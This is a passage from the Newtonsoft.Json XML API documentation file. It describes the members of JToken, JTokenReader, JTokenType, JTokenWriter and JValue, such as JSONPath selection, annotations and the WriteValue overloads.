        </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String,System.Boolean)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"errorWhenNoMatch\">A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String,Newtonsoft.Json.Linq.JsonSelectSettings)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\"/> used to select tokens.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String,System.Boolean)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"errorWhenNoMatch\">A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String,Newtonsoft.Json.Linq.JsonSelectSettings)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\"/> used to select tokens.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.System#Dynamic#IDynamicMetaObjectProvider#GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.DeepClone\">\n            <summary>\n            Creates a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>. All child tokens are recursively cloned.\n            </summary>\n            <returns>A new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddAnnotation(System.Object)\">\n            <summary>\n            Adds an object to the annotation list of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"annotation\">The annotation to add.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotation``1\">\n            <summary>\n            Get the first annotation object of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the annotation to retrieve.</typeparam>\n            <returns>The first annotation object that matches the specified type, or <c>null</c> if no annotation is of the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotation(System.Type)\">\n            <summary>\n            Gets the first annotation object of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of the annotation to retrieve.</param>\n            <returns>The first annotation object that matches the specified type, or <c>null</c> if no annotation is of the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotations``1\">\n            <summary>\n            Gets a collection of annotations of the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the annotations to retrieve.</typeparam>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the annotations for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotations(System.Type)\">\n            <summary>\n            Gets a collection of annotations of the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of the annotations to retrieve.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:System.Object\"/> that contains the annotations that match the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.RemoveAnnotations``1\">\n            <summary>\n            Removes the annotations of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of annotations to remove.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.RemoveAnnotations(System.Type)\">\n            <summary>\n            Removes the annotations of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of annotations to remove.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenEqualityComparer\">\n            <summary>\n            Compares tokens to determine whether they are equal.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenEqualityComparer.Equals(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines whether the specified objects are equal.\n            </summary>\n            <param name=\"x\">The first object of type <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <param name=\"y\">The second object of type <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <returns>\n            <c>true</c> if the specified objects are equal; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenEqualityComparer.GetHashCode(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Returns a hash code for the specified object.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> for which a hash code is to be returned.</param>\n            <returns>A hash code for the specified object.</returns>\n            <exception cref=\"T:System.ArgumentNullException\">The type of <paramref name=\"obj\"/> is a reference type and <paramref name=\"obj\"/> is <c>null</c>.</exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenReader.CurrentToken\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the reader's current position.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.#ctor(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenReader\"/> class.\n            </summary>\n            <param name=\"token\">The token to read from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.#ctor(Newtonsoft.Json.Linq.JToken,System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenReader\"/> class.\n            </summary>\n            <param name=\"token\">The token to read from.</param>\n            <param name=\"initialPath\">The initial path of the token. It is prepended to the returned <see cref=\"P:Newtonsoft.Json.Linq.JTokenReader.Path\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenType\">\n            <summary>\n            Specifies the type of token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.None\">\n            <summary>\n            No token type has been set.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Object\">\n            <summary>\n            A JSON object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Array\">\n            <summary>\n            A JSON array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Constructor\">\n            <summary>\n            A JSON constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Property\">\n            <summary>\n            A JSON object property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Comment\">\n            <summary>\n            A comment.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Integer\">\n            <summary>\n            An integer value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Float\">\n            <summary>\n            A float value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.String\">\n            <summary>\n            A string value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Boolean\">\n            <summary>\n            A boolean value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Null\">\n            <summary>\n            A null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Undefined\">\n            <summary>\n            An undefined value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Date\">\n            <summary>\n            A date value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Raw\">\n            <summary>\n            A raw JSON value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Bytes\">\n            <summary>\n            A collection of bytes value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Guid\">\n            <summary>\n            A Guid value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Uri\">\n            <summary>\n            A Uri value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.TimeSpan\">\n            <summary>\n            A TimeSpan value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenWriter.CurrentToken\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the writer's current position.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenWriter.Token\">\n            <summary>\n            Gets the token being written.\n            </summary>\n            <value>The token being written.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.#ctor(Newtonsoft.Json.Linq.JContainer)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenWriter\"/> class writing to the given <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.\n            </summary>\n            <param name=\"container\">The container being written to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n            <remarks>\n            Setting <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> to <c>true</c> has no additional effect, since the underlying <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/> is a type that cannot be closed.\n            </remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the end.\n            </summary>\n            <param name=\"token\">The token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will be raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JValue\">\n            <summary>\n            Represents a value in JSON (string, integer, date, etc).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Int64)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Decimal)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Char)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.UInt64)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Double)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Single)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.DateTime)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.DateTimeOffset)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Guid)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Uri)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.TimeSpan)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateComment(System.String)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> comment with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> comment with the given value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateString(System.String)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> string with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> string with the given value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateNull\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> null value.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> null value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateUndefined\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> undefined value.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> undefined value.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.Value\">\n            <summary>\n            Gets or sets the underlying token value.\n            </summary>\n            <value>The underlying token value.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>s which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.Equals(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Indicates whether the current object is equal to another object of the same type.\n            </summary>\n            <returns>\n            <c>true</c> if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, <c>false</c>.\n            </returns>\n            <param name=\"other\">An object to compare with this object.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.Equals(System.Object)\">\n            <summary>\n            Determines whether the specified <see cref=\"T:System.Object\"/> is equal to the current <see cref=\"T:System.Object\"/>.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> to compare with the current <see cref=\"T:System.Object\"/>.</param>\n            <returns>\n            <c>true</c> if the specified <see cref=\"T:System.Object\"/> is equal to the current <see 